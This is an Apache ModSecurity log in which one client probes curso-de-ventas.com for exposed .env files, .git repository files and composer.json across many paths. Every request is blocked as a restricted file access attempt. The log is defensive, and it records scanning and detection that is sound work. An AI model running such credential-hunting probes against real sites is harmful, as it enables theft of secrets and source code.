[Sat Oct 24 04:53:28.344169 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "atxyCFGNStwISql-V9e7owAAAAs"]
[Sat Oct 24 04:53:28.344496 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env~"] [unique_id "atxyCFGNStwISql-V9e7owAAAAs"]
[Sat Oct 24 04:53:28.345629 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "atxyCHX8E6TRudKM7Tq-_wAAABM"]
[Sat Oct 24 04:53:28.345815 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "atxyCHX8E6TRudKM7Tq-_wAAABM"]
[Sat Oct 24 04:53:28.346033 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/index"] [unique_id "atxyCHX8E6TRudKM7Tq-_wAAABM"]
[Sat Oct 24 04:53:28.346863 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atxyCHbxMMbsnMsBaxze7AAAABI"]
[Sat Oct 24 04:53:28.346990 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atxyCHbxMMbsnMsBaxze7AAAABI"]
[Sat Oct 24 04:53:28.347212 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atxyCHbxMMbsnMsBaxze7AAAABI"]
[Sat Oct 24 04:53:28.348400 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "atxyCPW6YT0SU9_bWDbGjgAAAAk"]
[Sat Oct 24 04:53:28.348532 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "atxyCPW6YT0SU9_bWDbGjgAAAAk"]
[Sat Oct 24 04:53:28.348759 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/HEAD"] [unique_id "atxyCPW6YT0SU9_bWDbGjgAAAAk"]
[Sat Oct 24 04:53:28.373349 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "atxyCO3iNausmbvH7aw5YQAAAAA"]
[Sat Oct 24 04:53:28.373549 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "atxyCO3iNausmbvH7aw5YQAAAAA"]
[Sat Oct 24 04:53:28.373848 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "atxyCO3iNausmbvH7aw5YQAAAAA"]
[Sat Oct 24 04:53:28.495086 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "atxyCFGNStwISql-V9e7pQAAAAs"]
[Sat Oct 24 04:53:28.495155 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7LwAAAAE"]
[Sat Oct 24 04:53:28.495386 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "atxyCFGNStwISql-V9e7pQAAAAs"]
[Sat Oct 24 04:53:28.495391 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7LwAAAAE"]
[Sat Oct 24 04:53:28.495704 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/admin/.env"] [unique_id "atxyCFGNStwISql-V9e7pQAAAAs"]
[Sat Oct 24 04:53:28.495741 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/api/.env"] [unique_id "atxyCI3tkuH7XT-LVCb7LwAAAAE"]
[Sat Oct 24 04:53:28.525443 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "atxyCO3iNausmbvH7aw5YwAAAAA"]
[Sat Oct 24 04:53:28.525668 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "atxyCO3iNausmbvH7aw5YwAAAAA"]
[Sat Oct 24 04:53:28.525984 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/app/.env"] [unique_id "atxyCO3iNausmbvH7aw5YwAAAAA"]
[Sat Oct 24 04:53:28.527959 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwAAAABc"]
[Sat Oct 24 04:53:28.528108 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwAAAABc"]
[Sat Oct 24 04:53:28.528357 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/application/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwAAAABc"]
[Sat Oct 24 04:53:28.575322 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "atxyCPW6YT0SU9_bWDbGkQAAAAk"]
[Sat Oct 24 04:53:28.575471 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "atxyCPW6YT0SU9_bWDbGkQAAAAk"]
[Sat Oct 24 04:53:28.575686 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/back/.env"] [unique_id "atxyCPW6YT0SU9_bWDbGkQAAAAk"]
[Sat Oct 24 04:53:28.601700 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "atxyCO3iNausmbvH7aw5ZAAAAAA"]
[Sat Oct 24 04:53:28.601989 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "atxyCO3iNausmbvH7aw5ZAAAAAA"]
[Sat Oct 24 04:53:28.602370 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/backend/.env"] [unique_id "atxyCO3iNausmbvH7aw5ZAAAAAA"]
[Sat Oct 24 04:53:28.604428 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwQAAABc"]
[Sat Oct 24 04:53:28.604563 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwQAAABc"]
[Sat Oct 24 04:53:28.604803 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/backup/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndwQAAABc"]
[Sat Oct 24 04:53:28.630908 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "atxyCASwRuPA-FjBma7HHgAAAAI"]
[Sat Oct 24 04:53:28.631116 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "atxyCASwRuPA-FjBma7HHgAAAAI"]
[Sat Oct 24 04:53:28.631418 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.14.99.143:56464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/cms/.env"] [unique_id "atxyCASwRuPA-FjBma7HHgAAAAI"]
[Sat Oct 24 04:53:28.645406 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "atxyCFGNStwISql-V9e7pwAAAAs"]
[Sat Oct 24 04:53:28.645584 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/composer.json"] [unique_id "atxyCFGNStwISql-V9e7pwAAAAs"]
